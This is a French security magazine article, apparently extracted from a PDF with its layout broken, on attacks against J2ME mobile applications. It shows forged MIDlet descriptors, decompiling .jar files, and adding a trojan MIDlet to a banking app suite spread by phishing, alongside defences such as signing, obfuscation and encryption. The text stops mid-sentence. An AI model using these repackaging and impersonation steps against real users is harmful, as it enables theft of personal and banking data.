que la question de sécurité des applications
J2ME devient un problème important.
Examinons de près les scénarios possibles des attaques contre les périphériques
portables utilisant cette version de Java.
N'oubliez pas que les méthodes présentées
profi tent, en grande partie, de la négligence
humaine – aussi bien de la part des développeurs que des utilisateurs. L'environnement de développement lui-même a été bien
conçu.
www.hakin9.org
Scénario n° 1 – se faire
passer pour le MIDlet
L'installation de la plupart des applications
dans les périphériques mobiles nécessite leur
téléchargement préalable depuis Internet. Mais
comment l'utilisateur sait quelle application il est
en train de télécharger ? Il est peut-être possible
de le persuader de télécharger un virus sur son
périphérique ? Voici la méthode permettant de
tromper l'utilisateur pour qu'il télécharge et installe
Cet article explique...
•
•
•
comment réaliser des attaques contre les applications écrites en Java 2 Micro Edition,
comment réaliser des attaques contre les périphériques mobiles au standard de sécurisation
MIDP,
comment sécuriser vos propres applications
écrites en J2ME.
Ce qu'il faut savoir...
•
•
connaître les principes de programmation en
Java,
savoir ce qu'est SSL (Secure Socket Layer).
hakin9 N o 2/2005
Attaques contre les applications J2ME
Fichier de descripteur de l'application
La vocation du fichier du descripteur est de décrire un MIDlet lui correspondant.
C'est un fichier texte comprenant la liste des attributs (des traits caractéristiques) du
MIDlet. Certains attributs sont obligatoires et les autres facultatifs. Bien sûr, chacun
développeur peut créer ses propres attributs.
Les attributs décrits dans le fichier de descripteur doivent être également enregistrés dans le fichier de manifeste étant un élément composant de l'archive .jar (en
règle générale, le manifeste est une copie fidèle du descripteur sauf MIDlet-JarSize et les attribtuts liés à la certification des applications). Lors de l'installation
d'une application téléchargée, les valeurs des attributs dans le fichier de manifeste
et dans le fichier de descripteur sont mises en comparaison. S'il y a une incompatibilité entre elles, l'application est rejetée par JAM (Java Application Manager,
gestionnaire des applications dans les périphériques mobiles).
Voici les attributs obligatoires du descripteur des applications :
MIDlet-Jar-Size: 37143
MIDlet-Jar-URL: http://www.address.com/applications/XMLMIDlet.jar
MIDlet-Name: XMLMIDlet
MIDlet-Vendor: XML Corp.
MIDlet-Version: 1.0
MicroEdition-Configuration: CLDC-1.0
MicroEdition-Profile: MIDP-2.0
MIDlet-1: XMLMIDlet, XMLMIDlet.png, XmlAdvMIDlet
L'attribut MIDlet-Jar-Size définit la taille de l'archive en octets. Si la taille de l'archive téléchargée diffère de celle déclarée dans cet attribut, JAM constatera un essai
d'attaque et il rejettera un MIDlet Suite. MIDlet-Jar-Url contient l'adresse Internet
depuis laquelle JAM doit télécharger une application. Les autres attributs définissent
le nom de l'application, le fournisseur et la configuration requise (si le périphérique
n'est pas capable de satisfaire à l'une des exigences matérielles, l'application ne sera
pas téléchargée).
L'attribut MIDlet-1 comprend trois paramètres – le nom de l'application et son
icône (ceux-ci sont affichés à l'utilisateur) ainsi que le nom de la classe principale
de l'application. Un paquet (fichier .jar) peut contenir plus d'une application – dans le
descripteur de ce paquet, il y aura alors plusieurs attributs MIDlet-n ( MIDlet-1, MIDlet-2, MIDlet-3 ...) définissant les applications suivantes faisant partie du paquet.
Voici certains attributs facultatifs :
sur son ordinateur une application
autre que celle qu'il veut.
Chaque application mobile (MIDlet Suite) est constituée de deux
parties – un fichier avec l'extension
.jar étant une archive comprenant les
applications avec un fichier de manifeste et un fichier avec l'extension
.jad étant un descripteur (description)
des applications compressées (voir
l'Encadré Fichier de descripteur de
l'application). Admettons que vous
vouliez vous faire passer pour une application très populaire – XMLmidlet,
lecteur news – puis faire en sorte que
les utilisateurs téléchargent votre application sur leurs périphériques tout
en étant sûrs qu'ils téléchargent un
produit adéquat.
Lors du chargement du MIDlet,
JAM (Java Application Manager
– gestionnaire des applications
J2ME dans un périphérique mobile)
lit les attributs du MIDlet enregistrés
dans le fichier de descripteur (fichier
.jad) et il les présente à l'utilisateur
pour que celui-ci puisse prendre une
décision sur le chargement de l'application. Le processus de chargement
de l'application se déroule selon les
étapes suivantes :
•
MIDlet-Description: Small XML based news reader.
MIDlet-Info-URL: http://www.XMLCorp.com
MIDlet-Permissions: javax.microedition.io.Connector.socket
MIDlet-Permissions-opt: javax.microedition.io.Connector.ssl
•
MIDlet-Certificate-1-1: [ ici, le certificat du signataire ]
MIDlet-Jar-RSA-SHA1: [ ici, la signature (abréviation) du fichier .jar ]
Les deux premiers fournissent les informations supplémentaires affichées à l'utilisateur lorsque l'on lui demande son accord pour charger une application vers
son périphérique mobile – une brève description de l'application et l'adresse URL
à laquelle vous pouvez trouver plus d'informations sur l'application elle-même et sur
son éditeur.
Les attributs suivants sont liés à l'élargissement du module de sécurité dans
MIDP 2.0 (voir l'Encadré Élargir le modèle de sécurité dans MIDP 2.0).
Attributs utilisateur :
•
•
MIDlet-Certificate: EU Security Council
MIDlet-Region: Europe
MIDlet-Security: High
Ce sont les attributs créés par le développeur (fournisseur) de l'application et ils ne
sont pas utilisés par JAM.
•
hakin9 N o 2/2005
www.hakin9.org
l'utilisateur reçoit l'information sur
la localisation du MIDlet ou plus
précisément sur la localisation
de son fichier de descripteur au
moyen de WAP, HTTP ou d'un
autre mécanisme,
l'adresse du fichier de descripteur est transmise à JAM qui télécharge le fichier de descripteur
et lit les attributs y enregistrés,
JAM présente à l'utilisateur les
informations du fichier de descripteur et il lui demande si l'application doit être téléchargée,
si l'utilisateur l'accepte, JAM
télécharge l'application, il décompresse l'archive et compare
le fichier de manifeste (faisant
partie de l'archive) avec le fichier
.jad ; si les valeurs des attributs
dans le fichier de manifeste diffèrent des valeurs des attributs
dans le fichier de descripteur,
l'application sera rejetée,
JAM vérifie et installe l'application.
19
Listing 1. Descripteur de l'application mobile
MIDlet-1: XMLMIDlet, XMLMIDlet.png, XmlAdvMIDlet
MIDlet-Description: Small XML based news reader.
MIDlet-Info-URL: http://www.XMLCorp.com
MIDlet-Jar-Size: 41002
MIDlet-Jar-URL: XMLMIDlet.jar
MIDlet-Name: XMLMIDlet
MIDlet-Permissions: javax.microedition.io.Connector.socket
MIDlet-Permissions-opt: javax.microedition.io.Connector.ssl
MIDlet-Vendor: XML Corp.
MIDlet-Version: 1.0
MicroEdition-Configuration: CLDC-1.0
MicroEdition-Profile: MIDP-2.0
Listing 2. Descripteur modifié
Bases
MIDlet-1: XMLMIDlet, XMLMIDlet.png, EvilMIDlet
MIDlet-Description: Small XML based news reader.
MIDlet-Info-URL: http://www.XMLCorp.com
MIDlet-Jar-Size: 23191
MIDlet-Jar-URL: XMLMIDlet.jar
MIDlet-Name: XMLMIDlet
MIDlet-Permissions: javax.microedition.io.Connector.socket
MIDlet-Permissions-opt: javax.microedition.io.Connector.ssl
MIDlet-Vendor: XML Corp.
MIDlet-Version: 1.0
MicroEdition-Configuration: CLDC-1.0
MicroEdition-Profile: MIDP-2.0
20
Dans le Listing 1, vous pouvez voir
le descripteur du MIDlet que nous
voulons falsifier. JAM le présentera
à l'utilisateur de façon indiquée sur
la Figure 1.
Comme vous pouvez le voir, JAM
réécrit tout simplement sur l'écran le
contenu de certains attributs du fichier
.jad – pour se faire passer pour une
autre application, il suffit de créer une
application avec un descripteur identique que celui de l'application originale.
Bien sûr, notre jeu sera dévoilé au premier démarrage de l'application mais
parfois cela suffit pour faire des dégâts
considérables.
Admettons que vous teniez à ce
que l'utilisateur télécharge votre application – EvilMIDlet, virus envoyant
à son créateur tout le carnet d'adresses du périphérique, sous prétexte de
télécharger XMLMIDlet. La première
opération à effectuer consiste à falsifier les fichiers de manifeste et de
descripteur. Pour cela, il faut modifier
le fichier original présenté dans le Listing 1. Le fichier falsifié du descripteur
est montré dans le Listing 2. Le fichier
de manifeste sera presque identi-
que – seul l'attribut MIDlet-Jar-Size
sera différent, ce qui est bien évident.
Comme vous le voyez, le nouveau
fichier diffère par deux points seulement : le nom de la classe appelée
(attribut MIDlet-1) et la taille du fichier
.jar (attribut MIDlet-Jar-Size).
La chose suivante à faire consiste à créer une archive .jar qui
constituera avec le fichier falsifié
de descripteur une application prête
à être publiée :
jar –cmj XMLMIDlet.jar manifest.mf *.*
Cette
commande
permet
de
créer une archive .jar nommée
XMLMIDlet.jar, d'y ajouter le fichier
de manifeste créé à la base du fichier
manifest.mf et d'ajouter à l'archive
tous les fichiers du répertoire actuel.
Le fichier manifest.mf un fichier texte
ordinaire presque identique au fichier
de descripteur – l'attribut MIDlet-JarSize en moins est la seule différence.
La dernière étape de l'attaque à
réaliser est de mettre une application
falsifiée sur le net et d'encourager les
victimes potentielles à télécharger le
www.hakin9.org
Figure 1. Questions posées par
JAM à l'utilisateur
code malveillant – il existe plusieurs
moyens permettant de le faire.
La seule méthode de défense
contre les attaques de ce type
consiste à signer les MIDlets (voir
l'Encadré Domaines de sécurité
et signatures des applications).
Scénario n° 2
– vol du code
L'utilisateur malveillant peut vouloir
obtenir l'accès au code source de
l'application. Les raisons en peuvent
être multiples – le vol du code, le fait
d'essayer de briser les mécanismes
de sécurisation d'une application, la
volonté de connaître la méthode de
ponctuation dans un jeu, etc.
Le fichier .jar est une archive
ordinaire compressée à l'aide de l'algorithme zip. Pour obtenir l'accès aux
fichiers .class sous Windows, il suffit
de remplacer l'extension du fichier .jar
par .zip et de se servir de n'importe
quelle application d'archivage. Sous
Linux, cela est encore plus simple – il
suffit d'utiliser le logiciel unzip :
$ unzip nomfichier.jar
Ainsi, vous pouvez décompresser
l'archive dans un répertoire choisi
sur le disque. Prenons comme
exemple XMLMIDlet. Après avoir défini l'extension .zip et décompressé
l'archive à l'aide de WinZip, vous
obtenez le même résultat que celui
présenté sur la Figure 2.
Décompressez les fichiers dans
un répertoire choisi et ouvrez l'un
hakin9 N o 2/2005
Attaques contre les applications J2ME
d'eux avec un décompilateur du langage Java. Sur le net, il y a plein de
solutions gratuites – nous allons utiliser DJ Java Decompiler (voir l'Encadré Sur le réseau) tournant dans
l'environnement Windows. Avec son
aide, ouvrez le fichier principal de
l'application. Dans notre cas – nous
le savons grâce au fichier de descripteur – XmlAdvMIDlet.class est
le fichier principal de l'application.
Le processus de décompilation est
présenté sur la Figure 3.
C'est tout. Comme vous voyez,
même un utilisateur peu expérimenté avec le système Windows
peut accéder sans problèmes au
code source des applications J2ME.
Une fois la décompilation terminée,
il peut le modifier, compiler, créer ses
propres applications ou l'étudier afin
de briser les systèmes de sécurité de
l'application originale.
La protection contre le vol du code
est simple – il faut utiliser un obfuscateur. Sa tâche est de remplacer les
identifiants et les parties du code par
des chaînes de caractères non caractéristiques et plus courts. La vocation
de l'obfuscateur est de supprimer
tous les commentaires, remplacer
les constantes par leurs valeurs et les
noms des variables et des classes par
des noms peu lisibles pour l'homme.
Les outils de ce type sont également
capables de détecter et de supprimer
les champs non utilisés, ainsi que les
méthodes privées des classes Java.
Toutes ces opérations contribuent
à ce que le reverse engineering soit
beaucoup plus difficile à réaliser
et à ce que la taille de l'application diminue, ce qui est également important
(cela influence son efficacité).
Quel est le résultat du fonctionnement des obfuscateurs ? Le Listing 3 présente le code source de la
procédure permettant d'authentifier
les utilisateurs à l'aide du code PIN.
Dans le Listing 4, vous pouvez voir
la version décompilée du code non
sécurisé à l'aide de l'obfuscateur
et dans le Listing 5, il y a le code
décompilé de la procédure sécurisée. Comme vous pouvez le voir,
la procédure n'est plus lisible et les
variables globales non standard ap-
hakin9 N o 2/2005
Figure 2. Décompression du fichier .jar dans Windows
Figure 3. Décompilation du fichier .class
paraissent : fldnull, fldif, etc. L'exemple donné est simple mais il explique
bien le principe de fonctionnement
des obfuscateurs.
Sur la Figure 4, vous pouvez voir
l'archive .jar avec les classes sécurisées à l'aide de l'obfuscateur – le
fait de l'utiliser ne permet pas d'éviter
la décompression de l'archive mais il
rend les autres opérations beaucoup
plus difficiles. À vrai dire, il est possible de constater quel fichier est le
www.hakin9.org
plus important (XmlAdvMIDlet ; ce
nom n'a pas pu être changé car JAM
doit savoir quel fichier doit être chargé en premier) mais à part cela, rien
ne peut être déduit – l'identification
des classes en fonction des noms
n'est plus possible.
Les obfuscateurs peuvent être téléchargés depuis Internet – il existe
plusieurs solutions gratuites. Et ce
qui est plus important, les logiciels
de création d'applications mobiles
21
Listing 3. Code source de la procédure J2ME
public void commandAction(Command c, Displayable d) {
if (c.getCommandType()==Command.OK) {
switch(logique) {
case 1 : // l'utilisateur a entré le numéro PIN
// et il a appuyé sur ok
if (textBox.getString().equals(pin)) {
logique =2;
display.setCurrent(list);
}
else // PIN non valide {
alert.setString("PIN non valide!");
display.setCurrent(alert);
}
break;
case 2: // l'utilisateur a choisi un élément dans la liste
logique =3;
display.setCurrent(form);
break;
case 3: // l'utilisateur a rempli le formulaire
alert.setString("Merci de donner
vos coordonnées personnelles!");
display.setCurrent(alert);
}
}
if (c.getCommandType()==Command.EXIT) {
destroyApp(true);
notifyDestroyed();
}
}
Bases
Listing 4. Code source décompilé de l'application non sécurisée
à l'aide de l'obfuscateur
22
public void commandAction(Command command, Displayable displayable)
if(command.getCommandType() == 4)
switch(logique)
{
default:
break;
case 1: // '\001'
if(textBox.getString().equals(pin)) {
logique = 2;
display.setCurrent(list);
} else {
alert.setString("PIN non valide!");
display.setCurrent(alert);
}
break;
case 2: // '\002'
logique = 3;
display.setCurrent(form);
break;
case 3: // '\003'
alert.setString("Merci de donner
vos coordonnées personnelles!");
display.setCurrent(alert);
break;
}
if(command.getCommandType() == 7) {
destroyApp(true);
notifyDestroyed();
}
}
{
www.hakin9.org
les plus populaires (y compris Sun
Wireless Toolkit) permettent l'intégration d'un obfuscateur. Les adresses Internet des logiciels de cette
classe se trouvent dans l'Encadré
Sur le réseau.
Scénario n° 3
– cheval de Troies
Conformément à l'une des règles
définissant le bac à sable J2ME (voir
l'Encadré Bac à sable (sandbox)),
les différentes applications ne peuvent pas lire réciproquement leurs
données. Pourtant, cette méthode
de sécurisation peut être contournée
– la création des chevaux de Troies
est également possible dans J2ME.
Admettons qu'une banque mette
à disposition de ses clients un service
d'accès à leur compte bancaire depuis un téléphone mobile. L'utilisateur
doit simplement télécharger une application J2ME depuis le portail de la
banque et l'installer sur son périphérique. L'application permet la connexion
distante à la banque, la vérification de
l'état du compte et le téléchargement
des informations sur les opérations
effectuées sur le compte dans une
période de temps. Ces données sont
enregistrées dans le périphérique afin
de présenter facilement et rapidement
l'historique du compte bancaire à l'utilisateur et de diminuer le nombre des
données envoyées.
Le fichier .jar (MIDlet Suite) comprend, en règle générale, une seule
application et ses ressources (images,
sons, etc.) mais il est possible de créer
des paquets comprenant quelques
applications. Une fois le MIDlet Suite
téléchargé et démarré, le menu contenant la liste des applications composantes est affiché. L'utilisateur choisit
l'application qu'il veut démarrer.
L'attaque contre une application
bancaire de ce type consistera à ajouter à son MIDlet Suite une application
supplémentaire aux propriétés néfastes. Quels peuvent être les avantages
de cette attaque ? Dans J2ME, les
permissions sont accordées aux paquets entiers – l'application ajoutée
aura l'accès à la même API protégée
que l'application bancaire (l'application malveillante abusera de la
hakin9 N o 2/2005
Attaques contre les applications J2ME
Listing 5. Résultat de la décompilation du code sécurisé à l'aide de
l'obfuscateur
public void commandAction(Command command, Displayable displayable)
if(command.getCommandType() == 4)
switch(_fldnull) {
default:
break;
case 1: // '\001'
if(_fldgoto.getString().equals(a)) {
_fldnull = 2;
_fldchar.setCurrent(_fldbyte);
} else {
_fldcase.setString("PIN non valide!");
_fldchar.setCurrent(_fldcase);
}
break;
case 2: // '\002'
_fldnull = 3;
_fldchar.setCurrent(_fldif);
break;
case 3: // '\003'
_fldcase.setString("Merci de donner
vos coordonnées personnelles!");
_fldchar.setCurrent(_fldcase);
break;
}
if(command.getCommandType() == 7) {
destroyApp(true);
notifyDestroyed();
}
}
{
Figure 4. L'archive .jar avec les classes sécurisées à l'aide de l'obfuscateur
confiance de l'utilisateur de l'application bancaire afin d'obtenir l'accès à
l'API protégée). En outre, les applications faisant partie du même paquet
hakin9 N o 2/2005
partagent la mémoire commune des
données (persistent storage). Si un
MIDlet (application bancaire, par
exemple) y crée son record store,
www.hakin9.org
toutes les applications appartenant au
même paquet pourront y accéder.
Comment réaliser une attaque
de ce type ? La première opération
à effectuer consiste à posséder l'application attaquée. Cela ne devrait
pas être difficile à faire. Le processus
de téléchargement de l'application
sur un téléphone mobile consiste
à ce que le périphérique télécharge
le fichier .jad, lise l'emplacement du
fichier .jar (attribut MIDlet-Jar-URL)
et télécharge l'application. Cette
opération est effectuée au moyen du
protocole HTTP – cela signifie que
tout le processus peut être effectué
sans aucun efforts spéciaux sur un PC
à l'aide d'un navigateur Web ordinaire.
À l'étape suivante, l'application
téléchargée doit être décompressée
dans un répertoire choisi – comme
indiqué dans le scénario n° 2 –
et les classes malveillantes (leurs fichiers .class) doivent y être copiées.
Ensuite, il faut modifier les fichiers
de manifeste et de descripteur. Un
nouvel attribut : MIDlet-2 est la seule
modification, mise à part la nouvelle
taille de l'application. Il faut l'ajouter
pour informer JAM que le paquet
comprend plus d'une application (les
attributs MIDlet-3, MIDlet-4, etc. doivent être ajoutés si vous souhaitez
ajouter plus d'applications). Cet attribut permet d'ajouter votre application
au menu affiché à l'utilisateur (voir la
Figure 5).
Si vous admettez que le XMLMIDlet décrit auparavant soit une
application attaquée, le fichier orignal de descripteur se trouve dans
le Listing 1. Listing 6 présente le
fichier .jar modifié.
Enregistrez le fichier présenté dans le Listing 6 en tant que
manifest.mf, supprimez la ligne contenant l'attribut MIDlet-Jar-Size (voir
l'Encadré Fichier de descripteur de
l'application) et créez une archive :
jar –cmf XMLMIDlet.jar manifest.mf *.*
Cette commande comme dans le
scénario n°1 permet de créer l'archive .jar nommée XMLMIDlet.jar, d'y
ajouter le fichier de manifeste créé
à la base du fichier manifest.mf, puis
23
Listing 6. Le descripteur modifié de l'application mobile – application
ajoutée
Bases
MIDlet-1: XMLMIDlet, XMLMIDlet.png, XmlAdvMIDlet
MIDlet-2: WinPrize, XMLMIDlet.png, EvilMIDlet
MIDlet-Description: Small XML based news reader.
MIDlet-Info-URL: http://www.XMLCorp.com
MIDlet-Jar-Size: 62195
MIDlet-Jar-URL: XMLMIDlet.jar
MIDlet-Name: XMLMIDlet
MIDlet-Permissions: javax.microedition.io.Connector.socket
MIDlet-Permissions-opt: javax.microedition.io.Connector.ssl
MIDlet-Vendor: XML Corp.
MIDlet-Version: 1.0
MicroEdition-Configuration: CLDC-1.0
MicroEdition-Profile: MIDP-2.0
d'ajouter à l'archive tous les fichiers
du répertoire actuel.
La Figure 5 représente la vue
affichée sur l'écran du périphérique.
Une fois MIDlet Suite installé, l'utilisateur a au choix deux applications
à démarrer – l'une originale et l'autre
malveillante.
Maintenant, il ne reste à l'attaquant que de persuader les utilisateurs de télécharger la version
modifiée de MIDlet Suite. Il est
possible de le faire en envoyant aux
utilisateurs d'un portail un message
e-mail avec un lien vers la page falsifiée dont l'apparence ressemble
à celle de la page d'une banque.
Une seule méthode de protection
contre les attaques de ce type est
de signer les MIDlets (voir l'Encadré
Domaines de sécurité et signatures
des applications). L'utilisateur est
alors sûr de la source de l'application téléchargée et que personne
ne l'a modifiée – dans le descripteur de l'application, il y a la signature du fournisseur de la distribution
et l'abréviation (créée au moyen de la
fonction SHA) du fichier .jar. Bien que
cela ne rende pas l'attaque impossible à réaliser, l'application modifiée
ne sera pas signée (à moins que l'attaquant ait accès à la clé privée du
distributeur de l'application mais cela
est pratiquement impossible).
Scénario n° 4
– vol du périphérique
De plus en plus de téléphones mobiles ou PDA utilisent des cartes
mémoire externes pour enregistrer
24
des données. Il arrive très souvent
que non seulement les applications
téléchargées soient stockées sur ces
cartes mais aussi leurs données. Le
périphérique mobile peut être facilement perdu à la suite d'un vol ou
d'une perte – et les données peuvent
alors tomber facilement dans les
mains de personnes malveillantes (le
lecteur de cartes flash suffit). Pour
les périphériques stockant les données sur les supports de mémoire
non amovibles, ce problème n'existe
pas en général – la lecture des données est possible bien évidemment
mais cela n'est pas si facile que ça
(pour cela, il faut un câble reliant le
périphérique à l'ordinateur, un logiciel adéquat et un certain savoir-faire
en matière d'électronique).
Comment alors protéger les données confidentielles contre la lecture
non sollicitée ? Il faut les chiffrer. En
utilisant la clé enregistrée en dur
dans le code de l'application (ou encore mieux – entrée par l'utilisateur),
vous devez chiffrer les données
que vous souhaitez enregistrer sur
la carte flash, par exemple. Ainsi,
une chaîne de bits sans signification
(pour un logiciel non averti) sera enregistrée dans le périphérique. Pour
mettre à jour les données (ajouter
les coordonnées d'un nouvel ami,
par exemple), il faut lire les données
depuis le record store au moyen de
méthodes standard, puis les déchiffrer en utilisant la même clé que celle
mise en œuvre lors du chiffrage.
Toute la difficulté est de chiffrer les
données juste avant de les enregis-
www.hakin9.org
Figure 5. Nouvelle position dans le
menu MIDlet Suite affichée après
avoir ajouté l'attribut MIDlet-2 au
fichier de descripteur
trer dans le record store et de les
déchiffrer juste après la lecture.
Malheureusement, ni MIDP 1.0, ni
MIDP 2.0 ne mettent à disposition des
bibliothèques de chiffrage – il faut alors
utiliser l'un des paquets externes disponibles sur le net (pour trouver leurs
adresses, reportez-vous à l'Encadré
Sur le réseau). Vous avez quelques
bibliothèques au choix parmi lesquelles Bouncy Castle, bibliothèque
Open Source utilisant la plupart des
algorithmes de chiffrage, est la plus
populaire. Comme sa taille est assez
importante (1 Mo environ), elle ne peut
pas être utilisée entièrement sur le
périphérique mobile. Heureusement,
hakin9 N o 2/2005
Attaques contre les applications J2ME
cipher.init(true,
Bac à sable (sandbox)
J2ME est sécurisé à chaque étape de la gestion des applications mobiles :
•
•
•
•
•
le téléchargement, le chargement et le démarrage de l'application sont effectués
par la machine virtuelle et le développeur ne peut pas y accéder. Dans J2ME, il est
impossible d'installer votre propre classloader.
Le développeur peut accéder à une API bien définie et le langage Java ne lui permet pas de créer le code malveillant (par exemple, le manque des indicateurs et la
surveillance de l'indexage des tableaux ne permettent pas d'accéder à ces zones
de la mémoire auxquelles le processus d'utilisateur ne doit pas avoir accès).
Comme dans J2SE ordinaire, les classes sont soumises à la vérification bien que
cela se passe de manière différente. Le processus de vérification des classes
juste avant de démarrer l'application est très exigeant – aussi bien en ce qui concerne la puissance de calcul que la mémoire. C'est pourquoi, dans Java 2 Micro
Edition, une partie du processus de vérification des classes a été transférée vers
l'ordinateur où la compilation de l'application est effectuée. Cette partie de la vérification s'appelle la pré-vérification. Cela consiste à ce que, lors de la compilation,
certaines informations supplémentaires soient ajoutés au code de la classe. Au
démarrage de l'application, la machine virtuelle du périphérique mobile lit les informations ajoutées et en s'y appuyant, elle prend une décision sur un éventuel rejet
de l'exécution de l'application. Le processus d'analyse des informations ajoutées
lors de la pré-vérification ne demande pas une aussi grande puissance du processeur que la vérification complète et les informations sur la sécurité de la classe
elles-mêmes font augmenter son code de 5% à peine.
Dans J2ME, vous trouverez un ensemble de méthodes sûres dont l'appel ne
met pas en danger la sécurité. L'appel d'une méthode quelconque ne faisant pas
partie de cet ensemble (méthode protégée) entraîne l'affichage d'un avertissement approprié sur l'écran du périphérique, y compris la demande à l'utilisateur
de confirmer une telle opération. L'exemple de l'API protégée peut être le paquet
javax.microedition.io comprenant les objets représentant les différents protocoles de communication supportés – l'établissement de la connexion réseau dans
l'application sera suspendu jusqu'à l'obtention de l'accord de l'utilisateur.
Les MIDlets peuvent enregistrer les données dans un téléphone mobile (persistent
storage) et être regroupés en paquets (MIDlet Suite). Les MIDlets étant membres
d'un paquet MIDlet peuvent manipuler réciproquement sur leurs données mais
l'accès à ces données n'est pas autorisé aux MIDlets faisant partie d'un autre
paquet. Autrement dit – l'application-espion nouvellement téléchargée depuis
Internet faisant semblant d'être un jeu populaire ne peut pas lire le numéro du
compte et le nom de la banque enregistrés dans un périphérique par une application bancaire installée au préalable.
Cet ensemble de règles porte le nom de bac à sable (sandbox) où les applications
mobiles sont démarrées. MIDlet n'a pas le droit d'appeler certaines méthodes et les
autres (celles concernant les connexions réseaux, par exemple) peuvent être appelées
seulement après être confirmées par l'utilisateur. Au niveau sécurité, cela ressemble
beaucoup au modèle de sécurité des applets dans J2SE ayant l'accès à l'écran ou au
clavier, pouvant établir les connexions réseaux mais n'ayant pas de droits d'écriture sur
le disque. La même chose concerne les MIDlets – ils ont l'accès à l'écran et au clavier
(touchpad ou manipulateur), ils disposent d'un espace mémoire alloué mais pour établir
la connexion réseau, ils doivent demander l'accord de l'utilisateur.
cela n'est pas nécessaire – la licence
permet de modifier la bibliothèque
et de n'ajouter à l'application créée
que les classes que seront mises en
pratique.
La création d'une application
capable de chiffrer des données
quelconques requiert en général la
connaissance de J2ME et l'écriture
hakin9 N o 2/2005
d'un logiciel adéquat. Pour chiffrer
des données quelconques, nous
allons utiliser l'un des transcodeurs
faisant partie de ce paquet (le chiffrage de flux et le chiffrage de bloc
sont possibles) :
StreamCipher cipher
= new RC4Engine();
www.hakin9.org
new KeyParameter(key));
Dans la première ligne, un objet du
transcodeur demandé est créé. L'étape suivante consiste à l'initialiser. La
procédure init() adopte le paramètre
true si le transcodeur est utilisé pour
chiffrer les données et le paramètre
false pour le déchiffrage de celles-ci.
La clé (chaîne de bits) intégrée dans
la classe KeyParameter est le second
paramètre de cette procédure.
Le chiffrage de données consiste
à appeler la méthode processBytes() :
byte [] text
=”hakin9”.getBytes();
byte [] cipheredText
= new byte(text.length);
cipher.processBytes(text, 0,
text.length, cipheredText, 0);
Cette méthode adopte en tant que paramètres le tableau d'octets (vos données) destiné au chiffrage, l'index de
son premier champ et le nombre d'octets à chiffrer, le tableau de résultats
(des octets chiffrés) et l'index où les
octets chiffrés doivent être insérés.
Maintenant, il suffit d'insérer la
procédure de chiffrage (et de déchiffrage) avant chaque opération
d'écriture et après chaque opération
de lecture depuis le record store.
Si l'écriture/la lecture des données
est réalisée dans des procédures
distinctes (readData(), writeData(),
par exemple) de votre application, le
chiffrage peut être effectué de façon
inaperçue pour les couches supérieures de l'application.
Scénario n° 5 – écoute
de la connexion réseau
Toute application sophistiquée utilise des connexions réseaux pour
recevoir et envoyer des informations.
Pour les différents types de jeux ou
de logiciels d'information (horaire
des moyens de communication urbaine, par exemple), ce ne sont pas
des informations confidentielles.
Cependant, il y a des situations où
vous tenez beaucoup à sécuriser
les données envoyées (l'application
25
Domaines de sécurité et signatures
des applications
Conformément à la spécifi cation MIDP 2.0 (Mobile Information Device Profi le – voir l'Encadré Élargir le modèle de
sécurité dans MIDP 2.0), il doit être possible pour chaque
périphérique de stocker de façon sûre les certifi cats définissant les profi lés de sécurité. Les certifi cats en question sont
intégrés dans le périphérique par le fabricant et la méthode
de leur stockage n'est pas définie. Un domaine de sécurité
définissant la procédure pour une API protégée est associé
avec chaque certifi cat stocké dans un périphérique mobile.
Les domaines de sécurité sont constitués de deux parties :
•
•
ensemble des permissions devant être accordées à l'application si celle-ci le demande,
ensemble des permissions devant être autorisées par l'utilisateur.
Lorsqu'une application exige une permission faisant partie du
second ensemble, celle-ci doit être accordée en mode interactif.
L'utilisateur peut accorder l'un de trois types de permissions :
blanket – la permission toujours valide jusqu'à la désinstallation de
l'application, session – la permission valide jusqu'à ce que l'application cesse de fonctionner et oneshot – la permission d'une seule
fois. Chaque permission étant le composant du domaine ne peut
faire partie que de l'un des ensembles ci-dessus.
L'association de MIDlet avec un domaine de sécurité se fait
par le signer. Le processus de signature du MIDlet se déroule de
la manière suivante :
Bases
Élargir le modèle de sécurité dans
MIDP 2.0
MIDP 2.0 permet l'élargissement du modèle de sécurité MIDP
1.0 (voir l'Encadré Bac à sable (sandbox)). Il comprend un jeu
défini de permissions inhérentes aux méthodes protégées. Différents périphériques peuvent avoir un autre jeu d'API protégées
en fonction des possibilités matérielles d'un périphérique, de sa
destination et de la politique du fabricant.
Les permissions sont accordées de façon hiérarchique
et leurs noms correspondent aux noms des paquets auxquels ils
sont assignés. Ainsi, le fait que le MIDlet possède des permissions appelées javax.microedition.io.HttpsConnection veut
dire que l'application a le droit d'établir des connexions HTTPS.
Les permissions ne sont utilisées que pour une API faisant
partie de l'API protégée – à titre d'exemple, la permission nommée java.lang.Boolean est dépourvue de sens de point de
vue de l'API et elle sera ignorée. La demande et l'assignation
des permissions au MIDlet sont réalisées soit au moyen des
domaines de sécurité et la signature du MIDlet (voir l'Encadré
Domaines de sécurité et signatures des applications), soit à l'aide
des attributs MIDlet-Permissions dans le fichier de descripteur
de l'application.
26
•
•
•
mise en place du certificat (ou des certificats) de signature
dans le fichier de descripteur (dans la section MIDlet-Certificate, l'encodage base64) avec le chemin de certification
mais sans certificat supérieur (root certificate),
création de la signature du fichier .jar,
intégration de la signature dans le fichier .jad (dans la section
MIDlet-Jar-RSA-SHA1, l'encodage base64).
La vérification du MIDlet signé se déroule ainsi :
•
•
•
•
•
•
si le descripteur du MIDlet ne comprend pas la section MIDletJar-RSA-SHA1, il est considéré comme non fiable (les attributs
MIDlet-Permissions sont interprétés conformément à la politique du périphérique concernant les MIDlets non fiables),
les chemins de certification sont lus depuis la section MIDlet-Certificate,
les certificats suivants sont vérifiés à l'aide des certificats supérieurs enregistrés dans le périphérique ; si la
vérification se déroule bien (le premier certificat vérifié
avec succès), un domaine de sécurité lié au certificat
supérieur inscrit dans le périphérique (celui utilisé pour
vérifier le chemin de certification) est assigné au MIDlet,
la clé publique du signataire est obtenue à partir du certificat
vérifié,
la signature est lue depuis l'algorithme de signature MIDletJar-RSA-SHA1,
la signature est vérifiée à l'aide de la clé publique et de l'algorithme de signature – si la vérification a échoué, le MIDlet est
rejeté.
Avec chaque MIDlet utilisant l'API protégée deux ensembles
des permissions requises sont associés : MIDlet-Permissions
et MIDlet-Permissions-Opt. Les deux sont définis dans le
descripteur de l'application affichant la liste des permissions.
MIDlet-Permissions comprend les permissions indispensables
pour que l'application tourne et dans MIDlet-Permissions-Opt,
il y a des permissions sans lesquelles l'application peut se passer
(au dépens d'une fonctionnalité, dans la plupart des cas). Si la
politique de sécurité du périphérique ne permet pas aux MIDlets
d'établir les connexions HTTPS, le MIDlet qui en a besoin pour
